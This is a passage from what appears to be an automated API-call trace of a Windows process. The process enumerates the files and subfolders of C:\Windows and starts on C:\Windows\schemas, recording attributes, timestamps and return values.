lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb43ace, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff1f57a0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff1f57a0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb69c28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7df0c2b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7df0c2b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rescache", cAlternateFileName="")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb8fd82, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebb5edc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfebb5edc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xcb547a92, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SchCache", cAlternateFileName="")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebdc036, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="schemas", cAlternateFileName="")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98abb4cc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98abb4cc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf484ebfa, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4be0d01, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4be0d01, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceProfiles", cAlternateFileName="SERVIC~2")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="servicing", cAlternateFileName="SERVIC~1")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf627de2b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf62a3f8b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf62a3f8b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf387a18, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xaf387a18, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x637e35a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5e5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="setupact.log", cAlternateFileName="")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf387a18, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xaf387a18, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xaf387a18, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setuperr.log", cAlternateFileName="")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9968150d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x30cc6ce0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x30cc6ce0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellNew", cAlternateFileName="")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x192dc2a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0xb554dba0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xb554dba0, ftLastWriteTime.dwHighDateTime=0x1d706a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0118.178] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d9da406, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0118.178] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936ee880, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936ee880, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936ee880, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10600, dwReserved0=0x0, dwReserved1=0x0, cFileName="splwow64.exe", cAlternateFileName="")) returned 1 [0118.180] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa2eb0, ftCreationTime.dwHighDateTime=0x1ca0443, ftLastAccessTime.dwLowDateTime=0xf0aa2eb0, ftLastAccessTime.dwHighDateTime=0x1ca0443, ftLastWriteTime.dwLowDateTime=0x5f19ab6d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbc49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Starter.xml", cAlternateFileName="")) returned 1 [0118.180] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xf404c84a, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="system", cAlternateFileName="")) returned 1 [0118.180] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadc7ce10, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xadc7ce10, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8bb1d8db, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="system.ini", cAlternateFileName="")) returned 1 [0118.180] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x249bc240, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x249bc240, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 1 [0118.180] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x26f5fe20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x26f5fe20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysWOW64", cAlternateFileName="")) returned 1 [0118.180] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8d561533, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d561533, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAPI", cAlternateFileName="")) returned 1 [0118.180] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2bfe5dcf, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x2bfe5dcf, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks", cAlternateFileName="")) returned 1 [0118.180] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8e0c09f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x8e0c09f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0118.180] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9f16e414, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracing", cAlternateFileName="")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3695960, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xc3695960, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xc36bbac0, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x54b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TSSysprep.log", cAlternateFileName="TSSYSP~1.LOG")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f64321c, ftCreationTime.dwHighDateTime=0x1c9ea14, ftLastAccessTime.dwLowDateTime=0x2f64321c, ftLastAccessTime.dwHighDateTime=0x1c9ea14, ftLastWriteTime.dwLowDateTime=0x2f64321c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x17240, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain.dll", cAlternateFileName="")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80cc6128, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80cc6128, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32", cAlternateFileName="")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3bc54f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3bc54f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3bc54f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32.dll", cAlternateFileName="")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5193c78, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0xe5193c78, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0x2f66937c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xc210, dwReserved0=0x0, dwReserved1=0x0, cFileName="twunk_16.exe", cAlternateFileName="")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x149c5632, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x149c5632, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x77d4a690, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="twunk_32.exe", cAlternateFileName="")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x12d6252, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vss", cAlternateFileName="")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web", cAlternateFileName="")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadc7ce10, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xadc7ce10, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xed7a89e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1de, dwReserved0=0x0, dwReserved1=0x0, cFileName="win.ini", cAlternateFileName="")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x2870a176, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2870a176, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28b347fe, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsShell.Manifest", cAlternateFileName="WINDOW~1.MAN")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18e196a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x18e196a0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x5e0aab90, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x2ad3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc68ade7e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc68ade7e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x795b1f80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="winhlp32.exe", cAlternateFileName="")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xe8f3f540, ftLastAccessTime.dwHighDateTime=0x1d7b063, ftLastWriteTime.dwLowDateTime=0xe8f3f540, ftLastWriteTime.dwHighDateTime=0x1d7b063, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="winsxs", cAlternateFileName="")) returned 1 [0118.181] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67827cf3, ftCreationTime.dwHighDateTime=0x1c9ea0d, ftLastAccessTime.dwLowDateTime=0x67827cf3, ftLastAccessTime.dwHighDateTime=0x1c9ea0d, ftLastWriteTime.dwLowDateTime=0x6784de51, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSysPr9.prx", cAlternateFileName="")) returned 1 [0118.182] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89802aba, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x89802aba, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfeb14f80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="write.exe", cAlternateFileName="")) returned 1 [0118.182] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89802aba, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x89802aba, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfeb14f80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="write.exe", cAlternateFileName="")) returned 0 [0118.182] FindClose (in: hFindFile=0x1a962260 | out: hFindFile=0x1a962260) returned 1 [0118.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0118.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0118.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0118.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\schemas", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\schemas", lpFilePart=0x0) returned 0x12 [0118.209] FindFirstFileW (in: lpFileName="C:\\Windows\\schemas\\*" (normalized: "c:\\windows\\schemas\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebdc036, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a962260 [0118.212] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebdc036, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.212] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebdc036, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff1f57a0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff1f57a0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AvailableNetwork", cAlternateFileName="AVAILA~1")) returned 1 [0118.212] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff241a54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff241a54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAPHost", cAlternateFileName="")) returned 1 [0118.212] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff241a54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff241a54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAPMethods", cAlternateFileName="EAPMET~1")) returned 1 [0118.213] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff21b8fa, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff21b8fa, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TSWorkSpace", cAlternateFileName="TSWORK~1")) returned 1 [0118.213] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: 